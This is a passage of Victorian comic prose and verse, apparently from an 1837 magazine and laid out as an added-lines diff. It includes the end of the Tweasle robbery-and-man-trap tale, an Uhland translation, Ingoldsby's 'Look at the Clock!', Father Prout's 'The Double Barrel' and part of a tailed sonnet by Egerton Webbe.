+through the account This was vexatious. The _fear_ of losing the money
+had long disturbed the late tobacconist's mental monotony, and now the
+_certainty_ of its payment absolutely angered him. He turned to his
+lady, and said to her in a voice of positive wrath,
+
+"Hanney, I shall go. Don't you wait for me, do you hear? I shall walk
+probably in the evening down to Hornsey,--when I've given a receipt for
+the money. Now, sir, I'm at your service. Will you show the way?"
+
+"Please to remember a poor fellow who wants works," said a florid
+muscular mendicant, thrusting his huge hand close to the late
+tobacconist's face.--"The fellow must have overheard the arrangement,"
+thought Tweasle; and an undefined feeling of alarm took the roses from
+his cheeks. As he hastily threw the man a few pence, he delivered some
+very profound remarks upon the Vagrant Act.
+
+"Hanney, dear," cried he in a loud voice, while the beggar was stooping
+for the money, "don't make yourself uneasy, but set the steel-traps.
+I have pistols,--mind that, love,--I have pistols!" for, afraid to
+acknowledge his own terror, he found relief in supposing that others
+were more timid than himself.
+
+Leaving his wife, Tweasle walked to the inn, where he remained till all
+the items of a long bill had been discussed, when the clock announced
+the hour of nine, and then the debtor insisted on being asked to
+supper, so that it was fairly half-past ten before Tweasle left the
+Borough.
+
+So long as the lights of London illumined his way, he proceeded in
+comparative composure, only occasionally feeling at his coat-pockets
+to assure himself that the pistols were safe; but when the unaided
+darkness announced that he had quitted the extremest outskirts of the
+metropolis, Mr. Tweasle paused, and audibly informed himself that "he
+was not afraid:" on receiving which information, he buttoned his coat
+closer, slapped his hat firmer on his cranium, frowned, and shook his
+head; and, endeavouring to act bravery, took a pistol in either hand as
+he marched onward with every symptom of excessive alarm.
+
+He had not more than two miles farther to proceed, when the distant
+notes of St. Paul's cathedral announced the hour of midnight. At
+this time Tweasle was creeping along a lane rendered gloomy by high
+and parallel hedges, which inclosed fruitful pastures, and prevented
+grazing cattle from being impounded; at a little distance from him,
+behind one of these "leafy screens," stood a "pensive brother,"--a fine
+he-ass, which had retired thither to nibble the tender shoots of the
+mellifluous hawthorn.
+
+As the last vibration died away, he stumbled into a cart-rut. On
+recovering his perpendicular, panting from the unnecessary exertion
+he had used, the poor traveller stared around him, and endeavoured to
+survey the place whereon he was standing. It was a gloomy spot,--one
+unrelieved mass of shade, in which the clouded heavens seemed to
+harmonize; everything was in awful repose,--the night was cold, but
+not a zephyr was abroad. Painfully oppressed by the utter loneliness
+of his position, a sense of extreme lassitude gradually crept over
+Tweasle,--he closed his eyes, and shuddered violently; he could have
+wept, but the fear of being afraid made him suppress the desire.
+
+"This is a dreadful place!" he said aloud, with much gravity; "just
+such a spot as a murder might be committed in. I'm very glad I'm armed."
+
+Scarcely had he uttered the words, when the donkey thrust forward his
+"pensive nose," and shook the hedge by pulling at a switch of more than
+common luxuriance. "I'll sell my life dearly!" was Tweasle's first
+sensation,--it could hardly be called idea, it was too confused,--as,
+preparing for attack, he instinctively clapped one hand upon his money,
+while with the other he presented a pistol towards the spot whence the
+noise proceeded. Not being, as he expected, immediately assaulted, he
+by a violent exertion of his mental powers so far mastered his bodily
+alarm as to gulp first and then breathe. He listened,--all was still.
+"They didn't know I was armed," thought Tweasle; "it was lucky I showed
+them my determination:" and, in something bordering upon confidence in
+the effects of his own courage, he ventured to whisper "Who's there?"
+when, receiving no answer, he increased his demand to "Who's there, _I
+say_?" in a somewhat louder voice. He was anxiously waiting the result
+of this boldness on his part when the animal, probably attracted by
+the sound, slowly moved towards the spot where Tweasle was standing.
+"Ah! come--d--n--don't--now--I--I'm armed, you know!" screamed the
+traveller, running about and wildly striking right and left with the
+pistol, confident that the action this time had positively commenced;
+but after some interval, becoming gradually convinced that he remained
+unhurt, he was quite satisfied that nothing but the extraordinary
+courage he had displayed could have saved him from this second
+desperate attempt upon his life; and, somewhat anxious to support
+the first dawn of his heroism, he said, or rather stammered, in a
+voice not always distinct, "Now--now,--whoever you are,--don't go too
+far, because it's no pleasure to me to shoot you;--but I will, if you
+do:--so, in the King's name, who are you?--I _must_ fire if you won't
+speak!"
+
+The last appeal was made more in the tone of entreaty than command,
+for Tweasle beheld a black mass thrust itself against the hedge,
+evidently inspecting him. A rush of confused ideas, a tumult of strange
+suspicions and surmises, a "_regular row_" of contending emotions,
+deprived him of all self-control; and, if the pistol had not just
+at that moment accidentally exploded, he had probably fallen to the
+ground. As it was, the noise revived him; and, taking advantage of
+the circumstance, with a ready conceit he cried out "_There!_" for
+he had seen the object disappear, and heard a faint cry as of one in
+agony,--whereon he walked from the place with every appearance of
+impertinent composure.
+
+But this simulation did not long continue. As he became more conscious,
+he grew more agitated: he had probably shot a robber. For this he felt
+no remorse, and was persuading himself he would repeat the act, when
+he discovered that he had lost his pistols. This discovery gave him
+a fearful shock,--he was unarmed! Now came another dread.--Was the
+miscreant he had killed alone? or had he companions? Did not robbers
+usually congregate in bands; and might he not be pursued? But Tweasle
+was adopting the very best mode of avoiding such a danger, as, long
+before he asked himself the question, his walk had quickened into a
+sort of hand-gallop, which this fresh terror increased to the wild
+speed of utter despair. Without slackening his pace, the affrighted man
+had nearly reached his home, when a sharp blow across the shins brought
+him to the ground, and, looking up, Tweasle perceived the mendicant of
+the afternoon, and two other suspicious-looking fellows standing over
+him. He could not speak; but, turning his face downwards, stretched
+himself upon the earth.
+
+"_Are you going to sleep there?_" inquired the beggar with a kick
+that was violently anti-soporific; and, seeing that Tweasle naturally
+writhed under the infliction, the fellow vociferated, "Come, that
+didn't hurt you. It's no use shamming here."
+
+"I shan't wait about, all night for him," cried a diminutive gentleman
+disguised in a coalheaver's hat worn jockey-fashion, who, seizing
+Tweasle by the collar, lifted him from the ground, and giving him a
+shake that was sufficient to render any human nerves unsteady for
+eternity, asked the tottering man in a voice of angry expostulation,
+"Why the devil he couldn't stand still?"
+
+Too terrified to offer the slightest opposition, the unhappy Tweasle
+endeavoured to obey, which spirit of accommodation was repaid by the
+most scrupulous attentions. With a delicate dexterity that scarcely
+acquainted the owner of the abstraction, everything that his pockets
+contained was removed without unnecessary delay; and Tweasle was
+beginning to hope that the robbers would be content with their booty,
+when one of the fellows, anxious to have his clothes also, told him in
+the slang phraseology to undress, by shouting,
+
+"Come, skin yourself."
+
+"Skin _myself_!" cried Tweasle, understanding the words literally, and
+bounding from the place in horror of what appeared to him a refinement
+on even fictitious barbarity. "Skin _myself_!--You can't mean it. I
+couldn't do it, if you'd give me the world.--It's impossible!--Oh,
+heavens!"
+
+"No flash,--it won't do,--you'll undress," said the taller of the three
+with a calmness that thrilled his auditor.
+
+"Oh! good gentlemen," continued Tweasle, wishing to touch their hearts
+by saying something pathetic, "do consider I'm a married man!--think of
+my poor wife!--think of my poor wife!"
+
+"Carry her that 'ere with my compliments," cried the beggar, dashing
+his fist into Tweasle's face; an act which was received by the rest as
+an excellent joke.
+
+"It will do you no good to ill-use a fellow-creature," replied Tweasle
+distinctly, as though the blow had refreshed him. "Don't think I shall
+resist; take what you please; only, as you are a man--in human form--in
+this world and in the next----"
+
+"Sugar me! You're just agoing it nicely!" interrupted the mendicant.
+"I'm blowed if we pads don't teach more vartey than a bench of bishops.
+Never in all my born life _borrowed on a friend_ that the beggar didn't
+funk pious and grunt gospel."
+
+"But it is a natural impossibility for any man to skin himself."
+
+"We'll do it for you, if you don't begin."
+
+"Oh my heart! No!--Think of something else;--I'm willing to do anything
+but that."
+
+"Stow that! Skin yourself,--shake them rags off your ugly pig of a
+body;--undress, and be d--d to you!"
+
+Mr. Tweasle, who from this last speech gathered enough to remove his
+more horrible misgivings, delicately hinted at the inappropriateness of
+the place for such a purpose, the coolness of the night, the dislike he
+had to spectators at his toilet, and other things objectionable, but
+without effect: his opposition only confirmed the robbers' resolution,
+till a smart blow on the left cheek showed that they were inclined to
+silence, if they could not convince him.
+
+Reluctantly the old man began to unrobe, parting with his garments
+one by one, and begging as a favour he might be allowed to retain
+only his waistcoat, on the worthlessness of which he expatiated till
+he convinced the plunderers it was of more value than its outside
+promised, as proved to be the case, notes to the amount of several
+hundreds being found pinned to the lining. They made many mock
+apologies for depriving him of this; sarcastically complimenting him
+for his modesty, which easily parted with other coverings, but blushed
+to expose his bosom: then, kicking him till he fell to the earth, there
+they left him.
+
+Mrs. Tweasle reached the Italian villa as it was getting dusk, and
+the family sat up till midnight expecting Mr. Tweasle's arrival. As
+the hours advanced, the lady became alarmed, and sent Charles with
+a tumbler of rum and water into the kitchen, who, on his return,
+announced that Martha had declined the kitchen chair in favour of
+John's knee. "Never mind," cried the lady, made considerate by her
+fears; "such things are thought nothing of in the country." Whereupon
+she proceeded, with a strange concatenation of ideas, to state her
+opinion of second marriages; lamented that widows' caps were so
+difficult to get up; drank a little more rum and water; endeavoured to
+divert her mind with the Newgate Calendar, but could not enjoy it for
+thinking how cruel it was of Mr. Tweasle not to come home earlier,
+and openly protested against sleeping alone in a strange house; then
+took upon herself, in Mr. Tweasle's absence, to read prayers and lock
+up for the night. The signal for retiring being given, each took a
+candlestick; but, before they separated, the mistress entreated all of
+them to be very watchful in their sleep for fear of robbers, as she was
+certain Mr. Tweasle would not be home that night, and did not know what
+his absence might bring about.
+
+The subject being once started, every one tarried to relate some
+tale of midnight assassination; and all of them selected a strange
+uninhabited dwelling as the scene of their agitating incidents. The
+straw and half-opened packages which strewed the apartment gave the
+place where they were congregated a cheerless aspect; and they were
+excited to a degree of listening silence, and staring inquisitively at
+one another, while John recounted how a lady of high respectability
+chanced to be sitting by herself in the kitchen of a dilapidated
+mansion about two hours after midnight, and looking thoughtfully, not
+knowing what ailed her, at a round hole where a knot in the wainscot
+had been thrust out, when she saw the large dark sparkling eye of a
+most ferocious assassin peeping at her through the opening.
+
+Just as John had reached this point of painful interest, the heavy foot
+of a man was heard to pass hastily over the bridge, and the next moment
+the front-door was violently shaken. The two females instantly pinioned
+John by clinging round him with all the tenacity of terror, while at
+the same time they were loud in their demands for that protection
+which, had they needed it, he was by them effectually disabled from
+affording; while Master Tweasle, seizing the rattle, and aiding
+its noise with his voice, in no small degree increased the family
+distraction; above which, however, was plainly heard some one without,
+using his best endeavours to force the entrance. Whoever that some one
+was, he appeared wholly unmindful of secrecy; which palpable contempt
+of caution, and open disregard of whatever resistance the inhabitants
+might be able to make, greatly increased their fear of the villain's
+intentions. At each shock the door sustained, shrieks were uttered by
+the women, accompanied by a very spirited movement by the boy upon
+the rattle; and the interval between these assaults Mrs. Tweasle
+employed in murmuring prayers and complaints to Heaven and John for the
+protection of her life and property.
+
+At last the assailant appeared to get exhausted; his attempts gradually
+became weaker and less frequent. Emboldened by this, the family
+ventured to the first-floor window, whence they could plainly see
+what all agreed was a countryman in a white smock-frock pacing to
+and fro in front of the house in all the bitterest rage of excessive
+disappointment.
+
+"Oh, the wretch!" cried Mrs. Tweasle. "What a good door that is! I make
+no doubt he knew the furniture was not unpacked; and, if he could only
+have got in, he would have carried it all off before morning: he must
+have known Mr. Tweasle was not at home. Oh dear me!"
+
+Soon after she had spoken, the man seemed to have conquered his
+vexation, and, approaching the door, he gave a very decent double
+knock; but, not receiving an answer, he knocked again somewhat louder,
+and then with all his former violence frequently returned, making
+actions as if he were vowing vengeance against the family, or calling
+imprecations down upon their heads for their resistance: but of what
+he said nothing could be heard, for this conduct so terrified the
+women that they screamed and shrieked, and Master Tweasle, as before,
+accompanied them on the rattle.
+
+At length the robber, as if despairing of entrance, was seen to
+retire, but it was only to change the point of assault; they watched
+the villain move towards the back of the house; saw him, with a lofty
+courage that disdained at broken bottles, scale the garden-wall; and to
+their extreme delight, just as they were certain the _back_-door would
+not hold out, beheld him approach the jessamine bower where John had on
+the previous evening set one of the man-traps--and there he stayed.
+
+A council of war was now held, which would have lasted till morning
+had it not been interrupted by Master Charles's firing a blunderbuss
+out of the window, thus bravely endeavouring to bring down the robber
+at a long shot; and he would have repeated his aim till he had hit his
+object, who might be distinctly seen making various strange contortions
+near the jessamine bower, had not his mother forbidden him. The boy,
+vexed by the check he received, mistook his ill-humour for bravery, and
+pettishly volunteered to advance to the thief, if John would accompany
+him on the expedition; but Mrs. Tweasle asked in surprise, "Was she to
+be left alone at the mercy of Heaven, without protection?" and John,
+with strong moral courage preferring duty to honour, rejected the
+proposal.
+
+"Well, then," said the lad, "come along, Martha."
+
+"Oh!--_me?_" cried the girl: "oh, Master Charles!" for the boy, when he
+requested her company, only thought that the exchange of a woman for a
+man was a vast sacrifice on his part; he never once considered how the
+substitution might affect the party it principally concerned.
+
+Thus abandoned, he had stayed within, had not his mother insisted
+that he should not stir out: filial obedience supplied the place of
+resolution; he unbolted the back-door, and in a state of obstinate
+alarm issued into the garden.
+
+Advancing cautiously, and by a most circuitous way, the boy approached
+the jessamine bower, and there discovered _his father_ writhing and
+moaning, with one leg fast in a trap, which, according to his own
+orders, had been set for the protection of the cabbages.
+
+"Oh! my dear boy, don't fire any more. It's me, Charles! let me out of
+this--I'm dying!"
+
+"Why, if it isn't you, father!--only wait a bit----"
+
+"_Wait!_--don't talk nonsense!" cried Tweasle, looking at his
+unfortunate leg, which was held in the trap, and feeling his condition
+aggravated by the supposition that it was one of choice.
+
+"Yes, I'll fetch mother,"
+
+"Hang your mother!--let me out of this!" ejaculated the poor man, who
+was no ways desirous of continuing his agony that it might be made a
+kind of domestic exhibition of; but, deaf to his parent's entreaties,
+the boy ran away, quite full of his discovery. On the steps he met
+the maid-servant, whom he rebuked with much coarseness for appearing
+alarmed, and presently returned, marching like a conqueror at the head
+of a triumph.
+
+All were much surprised at beholding Mr. Tweasle in such a situation,
+unrobed and wounded, shivering from cold and terror, and deprived
+of all self-command by exhaustion and a man-trap. Mrs. Tweasle was
+quite overpowered by the sight: her feelings rather claimed pity than
+bestowed it; for while John was removing the steel trap from his
+master's legs, she kept moaning, and entreating her husband _only_
+to consider how his conduct had pained _her_. The poor maid-servant
+displayed great goodness of heart; she tenderly bound her master's
+naked legs, gently lifted him into the chair that was brought to convey
+him into the house, and appeared quite to overcome the natural delicacy
+of her sex in the praiseworthy endeavour to render a fellow-creature
+every possible assistance; while John and Master Tweasle seemed more
+inclined to converse on what had happened than to mingle in what was
+taking place, repeatedly putting questions which the sufferer was
+incapable of answering, as to wherefore he did that, or why he did not
+do this.
+
+Tweasle's injuries were rather painful than dangerous: in a few days he
+was convalescent, and was beginning to grow valiant in his descriptions
+of his midnight mishaps, when the following hand-bill was submitted to
+his notice.
+
+"Whereas a valuable male donkey, the property of Stephen Hedges, was on
+the night of the 6th of May last maliciously shot at and killed by some
+person or persons unknown; this is to give notice, that whoever will
+render such information as shall lead to the conviction of the offender
+or offenders, shall receive Five Pounds reward."
+
+For some time after reading this, Tweasle appeared full of thought,
+when he surprised his family by a sudden resolution to send Stephen
+Hedges five pounds; nor could any remonstrance on the part of his
+wife change his charitable purpose. No one could account for this: in
+pence the late tobacconist had always been a pattern of benevolence;
+but to give _pounds_ was not in the ordinary scale of his charity.
+None could assign a reason for so boundless a beneficence, more than
+they could comprehend why Tweasle should, whenever the subject was
+mentioned, expatiate with so much feeling on "What the poor ass must
+have suffered!"
+
+
+
+
+TRANSLATION FROM UHLAND.
+
+THE DREAM.
+
+
+    In a garden fair were roaming
+      Two lovers hand in hand;
+    Two pale and shadowy creatures,
+      They sat in that flowery land.
+
+    On the lips they kiss'd each other,
+      On the cheeks so full and smooth;
+    They were lock'd in close embracings,
+      They were blithe with the flush of youth.
+
+    Two bells were tolling sadly,--
+      The dream has pass'd away;
+    She in the narrow cloister,
+      He in a dungeon lay.
+
+
+
+
+FAMILY STORIES, No. VII.
+
+PATTY MORGAN THE MILKMAID'S STORY.
+
+
+"LOOK AT THE CLOCK!"
+
+                   FYTTE I.
+
+    "Look at the Clock!" quoth Winifred Pryce,
+      As she open'd the door to her husband's knock,
+    Then paus'd to give him a piece of advice,
+      "You nasty Warmint, look at the Clock!
+          Is this the way, you
+          Wretch, every day you
+    Treat her who vow'd to love and obey you?
+          Out all night!
+          Me in a fright;
+    Staggering home as it's just getting light!
+    You intoxified brute! you insensible block!
+    Look at the Clock!--Do.--Look at the Clock!"
+
+    Winifred Pryce was tidy and clean,
+    Her gown was a flower'd one, her petticoat green,
+    Her buckles were bright as her milking cans,
+    And her hat was a beaver, and made like a man's;
+    Her little red eyes were deep set in their socket-holes,
+    Her gown-tail was turn'd up, and tuck'd through the pocket-holes:
+        A face like a ferret
+        Betoken'd her spirit:
+    To conclude, Mrs. Pryce was not over young,
+    Had very short legs, and a very long tongue.
+
+        Now David Pryce
+        Had one darling vice;
+    Remarkably partial to anything nice,
+    Nought that was good to him came amiss,
+    Whether to eat, or to drink, or to kiss!
+        Especially ale--
+        If it was not too stale
+    I really believe he'd have emptied a pail;
+        Not that in Wales
+        They talk of their Ales;
+    To pronounce the word they make use of might trouble you,
+    Being spelt with a C, two Rs, and a W.
+
+        That particular day,
+        As I've heard people say,
+    Mr. David Pryce had been soaking his clay,
+    And amusing himself with his pipe and cheroots,
+    The whole afternoon at the Goat in Boots,
+        With a couple more soakers,
+        Thoroughbred smokers,
+    Both, like himself, prime singers and jokers;
+    And, long after day had drawn to a close,
+    And the rest of the world was wrapp'd in repose,
+    They were roaring out "Shenkin!" and "Ar hydd y nos;"
+    While David himself, to a Sassenach tune,
+    Sang, "We've drunk down the Sun, boys! let's drink down the Moon!
+        What have we with day to do?
+        Mrs. Winifred Pryce, 'twas made for you!"
+    At length, when they couldn't well drink any more,
+    Old "Goat-in-Boots" shew'd them the door;
+        And then came that knock,
+        And the sensible shock
+    David felt when his wife cried, "Look at the Clock
+    For the hands stood as crooked as crooked might be,
+    The long at the Twelve, and the short at the Three!
+
+    This self-same Clock had long been a bone
+    Of contention between this Darby and Joan;
+    And often among their pother and rout,
+    When this otherwise amiable couple fell out,
+        Pryce would drop a cool hint,
+        With an ominous squint
+    At its case, of an "Uncle" of his, who'd a "Spout."
+        That horrid word "Spout"
+        No sooner came out,
+    Than Winifred Pryce would turn her about,
+        And with scorn on her lip,
+        And a hand on each hip,
+    "Spout" herself till her nose grew red at the tip,
+        "You thundering willain,
+        I know you'd be killing
+    Your wife,--ay, a dozen of wives,--for a shilling!
+        You may do what you please,
+        You may sell my chemise,
+    (Mrs. P. was too well-bred to mention her stock,)
+    But I never will part with my Grandmother's Clock!"
+
+    Mrs. Pryce's tongue ran long and ran fast;
+    But patience is apt to wear out at last,
+    And David Pryce in temper was quick,
+    So he stretch'd out his hand, and caught hold of a stick;
+    Perhaps in its use he might mean to be lenient,
+    But walking just then wasn't very convenient,
+        So he threw it, instead,
+        Direct at her head.
+        It knock'd off her hat;
+        Down she fell flat;
+    Her case, perhaps, was not much mended by that;
+    But, whatever it was,--whether rage and pain
+    Produc'd apoplexy, or burst a vein,
+    Or her tumble induc'd a concussion of brain,
+    I can't say for certain,--but this I can,
+    When, sobered by fright, to assist her he ran,
+    Mrs. Winifred Pryce was as dead as Queen Anne!
+
+        The fearful catastrophe
+        Named in my last strophe
+    As adding to grim Death's exploits such a vast trophy,
+    Soon made a great noise; and the shocking fatality
+    Like wild-fire ran over the whole Principality.
+    And then came Mr. Ap Thomas, the Coroner,
+    With his jury to sit, some dozen or more, on her.
+        Mr. Pryce, to commence
+        His "ingenious defence,"
+    Made a "pow'rful appeal" to the jury's "good sense,"
+        "The world he must defy
+        Ever to justify
+    Any presumption of "Malice Prepense;"
+        The unlucky lick
+        From the end of the stick
+    He "deplored," he was "apt to be rather too quick;"
+        But, really, her prating
+        Was so aggravating:
+    Some trifling correction was just what he meant; all
+    The rest, he assured them, was "quite accidental!"
+
+        Then he called Mr. Jones,
+        Who deposed to her tones,
+    And her gestures, and hints about "breaking his bones."
+    While Mr. Ap Morgan, and Mr. Ap Rhys
+        Declared the Deceased
+        Had styled him "a Beast,"
+    And swore they had witness'd, with grief and surprise,
+    The allusions she made to his limbs and his eyes.
+
+    The jury, in fine, having sat on the body
+    The whole day, discussing the case, and gin-toddy,
+    Return'd about half-past eleven at night
+    The following verdict, "We find, _Sarve her right!_"
+
+
+                   FYTTE II.
+
+    Mr. Pryce, Mrs. Winifred Pryce being dead,
+    Felt lonely, and moped; and one evening he said
+    He would marry Miss Davis at once in her stead.
+
+        Not far from his dwelling,
+        From the vale proudly swelling,
+    Rose a mountain; its name you'll excuse me from telling,
+    For the vowels made use of in Welsh are so few
+    That the A and the E, the I, O, and the U,
+    Have really but little or nothing to do;
+    And the duty, of course, falls the heavier by far
+    On the L, and the H, and the N, and the R.
+        Its first syllable, "PEN,"
+        Is pronounceable;--then
+    Come two L Ls, and two H Hs, two F Fs, and an N;
+    About half a score Rs, and some Ws follow,
+    Beating all my best efforts at euphony hollow:
+    But we shan't have to mention it often, so when
+    We do, with your leave, we'll curtail it to "PEN."
+
+        Well,--the moon shone bright
+        Upon "PEN" that night,
+    When Pryce, being quit of his fuss and his fright,
+        Was scaling its side
+        With that sort of stride
+    A man puts out when walking in search of a bride.
+        Mounting higher and higher,
+        He began to perspire,
+    Till, finding his legs were beginning to tire,
+        And feeling opprest
+        By a pain in his chest,
+    He paus'd, and turn'd round to take breath, and to rest;
+    A walk all up hill is apt, as we know,
+    To make one, however robust, puff and blow,
+    So he stopped, and look'd down on the valley below.
+
+        O'er fell, and o'er fen,
+        Over mountain and glen,
+    All bright in the moonshine, his eye rov'd, and then
+    All the Patriot rose in his soul, and he thought
+    Of Wales, and her glories, and all he'd been taught
+        Of her Heroes of old,
+        So brave and so bold,--
+    Of her Bards with long beards, and harps mounted in gold;
+        Of King Edward the First,
+        Of mem'ry accurst;
+    And the scandalous manner in which he behaved,
+        Killing Poets by dozens,
+        With their uncles and cousins,
+    Of whom not one in fifty had ever been shaved.
+    Of the Court Ball, at which, by a lucky mishap,
+    Owen Tudor fell into Queen Katherine's lap;
+        And how Mr. Tudor
+        Successfully woo'd her,
+    Till the Dowager put on a new wedding ring,
+    And so made him Father-in-law to the King.
+
+    He thought upon Arthur, and Merlin of yore,
+    On Gryffyth ap Conan, and Owen Glendour;
+    On Pendragon, and Heaven knows how many more.
+    He thought of all this, as he gazed, in a trice,
+    And on all things, in short, but the late Mrs. Pryce;
+    When a lumbering noise from behind made him start,
+    And sent the blood back in full tide to his heart,
+        Which went pit-a-pat
+        As he cried out, "What's that?--
+        That very queer sound?
+        Does it come from the ground?
+    Or the air,--from above, or below, or around?
+        It is not like Talking,
+        It is not like Walking,
+    It's not like the clattering of pot or of pan,
+    Or the tramp of a horse,--or the tread of a man,--
+    Or the hum of a crowd,--or the shouting of boys,--
+    It's really a deuced odd sort of a noise!
+    Not unlike a Cart's,--but that can't be; for when
+    Could "all the King's horses and all the King's men,"
+    With Old Nick for a waggoner, drive one up "PEN?"
+
+    Pryce, usually brimful of valour when drunk,
+    Now experienced what schoolboys denominate "funk."
+        In vain he look'd back
+        On the whole of the track
+    He had traversed; a thick cloud, uncommonly black,
+    At this moment obscured the broad disc of the moon,
+    And did not seem likely to pass away soon;
+        While clearer and clearer,
+        'Twas plain to the hearer,
+    Be the noise what it might, it drew nearer and nearer,
+    And sounded, as Pryce to this moment declares,
+    Very much "like a Coffin a-walking up stairs."
+
+        Mr. Pryce had begun
+        To "make up" for a run,
+    As in such a companion he saw no great fun,
+        When a single bright ray
+        Shone out on the way
+    He had pass'd, and he saw with no little dismay
+    Coming after him, bounding o'er crag and o'er rock,
+    The deceased Mrs. Winifred's "Grandmother's Clock!!"
+    Twas so!--it had certainly moved from its place,
+    And come, lumbering on thus, to hold him in chase;
+    'Twas the very same Head, and the very same Case,
+    And nothing was alter'd at all but the Face!
+    In that he perceived, with no little surprise,
+    The two little winder-holes turn'd into eyes
+        Blazing with ire,
+        Like two coals of fire;
+    And the "Name of the Maker" was changed to a Lip,
+    And the Hands to a Nose with a very red tip.
+    No!--he could not mistake it,--'twas SHE to the life!
+    The identical Face of his dear defunct Wife!!
+
+        One glance was enough,
+        Completely "_Quant. Suff._"
+    As the doctors write down when they send you their "stuff,"--
+    Like a Weather-cock whirl'd by a vehement puff,
+        David turn'd himself round;
+        Ten feet of ground
+    He clear'd, in his start, at the very first bound!
+
+    I've seen people run at West-End Fair for cheeses,
+    I've seen Ladies run at Bow Fair for chemises,
+    At Greenwich Fair twenty men run for a hat,
+    And one from a Bailiff much faster than that;
+    At foot-ball I've seen lads run after the bladder,
+    I've seen Irish Bricklayers run up a ladder,
+    I've seen little boys run away from a cane,
+    And I've seen, (that is, _read of_,) good running in Spain;
+        But I never did read
+        Of, or witness, such speed
+    As David exerted that evening.--Indeed
+    All I ever have heard of boys, women, or men,
+    Falls far short of Pryce, as he ran over "PEN!"
+
+        He reaches its brow,--
+        He has past it, and now
+    Having once gain'd the summit, and managed to cross it, he
+    Rolls down the side with uncommon velocity;
+        But, run as he will,
+        Or roll down the hill,
+    That bugbear behind him is after him still!
+    And close at his heels, not at all to his liking,
+    The terrible Clock keeps on ticking and striking,
+        Till, exhausted and sore,
+        He can't run any more,
+    But falls as he reaches Miss Davis's door.
+    And screams when they rush out, alarm'd at his knock,
+    "Oh! Look at the Clock!--Do.--Look at the Clock!!"
+
+    Miss Davis look'd up, Miss Davis look'd down,
+    She saw nothing there to alarm her;--a frown
+        Came o'er her white forehead,
+        She said "It was horrid
+    A man should come knocking at that time of night,
+    And give her Mamma and herself such a fright;
+        To squall and to bawl
+        About nothing at all--"
+    She begg'd "he'd not think of repeating his call,
+        His late wife's disaster
+        By no means had past her,"
+    She'd "have him to know she was meat for his Master!"
+    Then, regardless alike of his love and his woes,
+    She turn'd on her heel as she turn'd up her nose.
+        Poor David in vain
+        Implored to remain,
+    He "dared not," he said, "cross the mountain again."
+        Why the fair was obdurate
+        None knows,--to be sure, it
+    Was said she was setting her cap at the Curate;--
+    Be that as it may, it is certain the sole hole
+    Pryce could find to creep into that night was the Coal-hole!
+        In that shady retreat,
+        With nothing to eat,
+    And with very bruis'd limbs, and with very sore feet,
+        All night close he kept;
+        I can't say he slept;
+    But he sigh'd, and he sobb'd, and he groan'd, and he wept,
+        Lamenting his sins
+        And his two broken shins,
+    Bewailing his fate with contortions and grins,
+    And her he once thought a complete _Rara Avis_,
+    Consigning to Satan,--viz. cruel Miss Davis!
+
+    Mr. David has since had a "serious call,"
+    He never drinks ale, wine, or spirits, at all,
+    And they say he is going to Exeter Hall
+        To make a grand speech,
+        And to preach, and to teach
+    People that "they can't brew their malt-liquor too small!"
+    That an ancient Welsh Poet, one PYNDAR AP TUDOR,
+    Was right in proclaiming "ARISTON MEN UDOR!"
+        Which means "The pure Element
+        Is for the belly meant!"
+    And that _Gin's_ but a _Snare_ of Old Nick the deluder!
+
+    And "still on each evening when pleasure fills up,"
+    At the old Goat-in-Boots, with metheglin, each cup,
+        Mr. Pryce, if he's there,
+        Will get into "the Chair,"
+    And make all his _quondam_ associates stare
+    By calling aloud to the landlady's daughter,
+    "Patty! bring a cigar, and a glass of Spring Water!"
+    The dial he constantly watches; and when
+    The long hand's at the "XII," and the short at the "X,"
+        He gets on his legs,
+        Drains his glass to the dregs,
+    Takes his hat and great-coat off their several pegs,
+    With his President's hammer bestows his last knock,
+    And says solemnly,--"Gentlemen!
+                        "LOOK AT THE CLOCK!!!"
+
+                            THOMAS INGOLDSBY.
+
+_Tappington Everard, July 24._
+
+
+
+
+SONG OF THE MONTH. No. IX.
+
+September, 1837.
+
+
+THE DOUBLE BARREL.
+
+BY FATHER PROUT.
+
+            Duo quisque Alpina coruscat
+    Gæsa manu.--_Æneid. lib. 8._
+
+     Παν πραγμα δυας εχει λαβας.--_Epictetus._
+
+
+    SEPTEMBER the first on the moorland hath burst,
+      And already with jocund carol
+    Each NIMROD of NOUSE hurries off to the grouse,
+      And has shouldered his DOUBLE BARREL;
+    For well doth he ken, as he hies through the glen,
+      That scanty will be _his_ laurel
+                Who hath not
+                On the spot
+            (Should he miss a first shot)
+      Some resource in a DOUBLE BARREL.
+
+    'Twas the Goddess of Sport, in her woodland court,
+      DIANA, first taught this moral,
+    Which the Goddess of Love soon adopted, and strove
+      To improve on the "double barrel."
+    Hence her CUPID, we know, put two strings to his bow;
+      And she laughs, when two lovers quarrel,
+                At the lot
+                Of the sot
+            Who, to soothe him, han't got
+      The resource of a DOUBLE BARREL.
+
+    Nay, the hint was too good to lie hid in the wood,
+      Or to lurk in two lips of coral;
+    Hence the God of the Grape (who his betters would ape)
+      Knows the use of a DOUBLE BARREL.
+    His escutcheon he decks with a double XX,
+      And his blithe _October_ carol
+                Follows up
+                With the sup
+            Of a flowing ale-cup
+      _September_'s DOUBLE BARREL.
+
+    _Water-grass-hill, Kal. VII^{bres}._
+
+
+GENIUS; OR, THE DOG'S-MEAT DOG.
+
+BEING A SECOND "TAILED SONNET," IN THE ITALIAN MANNER.[10]
+
+BY EGERTON WEBBE.
+
+    "Hal, thou hast the most unsavoury similes."--_Falstaff._
+
+    Since Genius hath the immortal faculty
+      Of bringing grist to other people's mills,
+      While for itself no office it fulfils,
+    And cannot choose but starve amazingly,
+    Methinks 'tis very like the dog's-meat dog,
+      That 'twixt Black Friars and White sometimes I've seen,--
+      Afflicted quadruped, jejune and lean,
+    Whom none do feed, but all do burn to flog.
+
+    For why? He draws the dog's-meat cart, you see,--
+      Himself a dog. All dogs his coming hail,
+      Long dogs and short, and dogs of various tail,
+    Yea truly, every sort of dogs that be.
+    Where'er he cometh him his cousins greet,
+    Yet not for love, but only for the meat,--
+              In Little Tower Street,
+    Or opposite the pump on Fish-street Hill,
+    Or where the Green Man is the Green Man still,
+              Or where you will:--
+    It is not he, but, ah! it is the cart
+    With which his cousins are so loth to part;
+              (That's nature, bless your heart!)
+    And you'll observe his neck is almost stiff
+    With turning round to try and get a sniff,
+              As now and then a whiff,
+    Charged from behind, a transient savour throws,
+    That curls with hope the corners of his nose,
+              Then all too quickly goes,
+    And leaves him buried in conjectures dark,
+    Developed in a sort of muffled bark.
+              For I need scarce remark
+    That that sagacious dog hath often guess'd
+    There's something going on of interest
+              Behind him, not confest;
+    And I have seen him whisk with sudden start
